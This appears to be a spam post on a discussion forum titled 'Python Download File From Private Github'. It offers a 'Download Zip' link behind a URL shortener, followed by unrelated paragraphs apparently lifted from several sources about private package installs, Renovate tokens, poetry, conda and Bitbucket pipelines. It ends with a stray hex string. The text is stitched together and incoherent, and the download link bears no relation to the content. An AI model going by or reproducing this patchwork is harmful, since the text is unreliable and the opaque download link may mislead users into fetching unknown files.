Python Download File From Private Github

2 views
Skip to first unread message

Jacalyn Loston

unread,
Jan 21, 2024, 7:31:57 AM1/21/24
to notemplanjetb

I am trying to install a package from a private repository on Git.
I am using Personal Access Token in my Git URL in order to bypass the manual authentication step. (You can read about Personal Access Tokens here)
If I add this git URL in requirements file and then use the requirements file in pip to install build it works.

python download file from private github


Download Zip »»» https://t.co/TLobqJw3ga



I am using google cloud appengine and deploying with gcloud app deploy and a standard app.yaml file. My requirements.txt file has one private package that is fetched from github (git+ssh://[email protected]/...git). This install works locally, but when I run the deploy I get

I'm going through the same issue, deploying on gcloud a python project that contains in its requirements.txt some private repositories. As @DazWilkin wrote already, there's no way to deploy it like you do normally.

The current setup we have right now is to install our local repositories from GitHub, which are built with setup.py. Initially I thought that we should just use poetry for all of our package management, and for any of our own private libraries, have a aws codebuild/artifact setup to host our libraries. I still think this seems like the best option for doing package management in python.

In order to do this, I think that a good idea would be to use a private conda channel for any of our own libraries, and use conda-forge for any repos that we might need from pip. If for some reason we can't find a package on conda-forge, there seems to be a pretty easy process to follow to get it there from pypi.

Test if the configuration is correct by running poetry install for super. This should just install everything as if a normal package if you have access to the sub github repository. One issue is that if we try to do this in a Github Action it will fail, because the action from super does not have access to the sub repository.

It's not recommended that you use a private repository to host your config while then extending it from a public repository.If your preset doesn't have secrets then you should make it public, while if it does have secrets then it's better to split your preset between a public one which all repos extend, and a private one with secrets which only other private repos extend.

When Renovate creates Pull Requests, its default behavior is to locate and embed release notes/changelogs of packages.These release notes are fetched from the source repository of packages and not from the registries themselves, so if they are private then they will require different credentials.

When it comes to open source, most packages host their source on github.com in public repositories.GitHub greatly rate limits unauthenticated API requests, so you need to configure credentials for github.com or the bot will get rate limited quickly.It can be confusing for people who host their own source code privately to be asked to configure a github.com token but without it changelogs for most open source packages will be blocked.

For GitHub Packages, Renovate will automatically provision hostRules for both ghcr.io (containers) and *.pkg.github.com (maven, npm, nuget, rubygems) using the GitHub platform token.This means that any private packages hosted on GitHub will be automatically authenticated if they are accessible using the same token by Renovate.

If you have a preset in a private repo but reference ("extend") it from a public repository then it won't work.This is because public repositories are provided with a token scoped to only that particular repository, and not for all repositories within the organization.This is a security measure so that if a the token is accidentally leaked publicly, the damage is limited to the public repository it leaked to and not to every repository within the organization.

@Philip Hodder - I know this is an old question but I've just hit this issue myself where I have a private pypi server with built packages from a git repo stored in Bitbucket that I need to use in the pipelines of another repository. The Pypi server is IP and username restricted and I don't want to make it public so I was wondering if there is another way to load private packages in directly into the caches or even by using the git+ version though since it's a private bit bucket repo as well will that even work or does pipeline run as the user making the commit?

If you use custom Python packages stored in a private GitHub repo, it's easy to bring them into Hex with just a few clicks. Once a Hex admin has configured GitHub access and installed packages from a repo, any Hex user with access can import those packages just as easily as importing something from the standard library.

This filtering was naive, but also no longer required. Remediation was removalof the filtering code, and a comment directing a future developer to thecorrect way of providing such authentication for builds in the future, shouldbuilding from private GitHub repositories be supported(diff).

Before you move forward, one thing you need to know about endpoints is the difference between http:// and In a nutshell, HTTPS is the encrypted version of HTTP, making all traffic between the client and the server much safer. When consuming public APIs, you should definitely stay away from sending any private or sensitive information to http:// endpoints and use only those APIs that provide a secure https:// base URL.

df19127ead
Reply all
Reply to author
Forward
0 new messages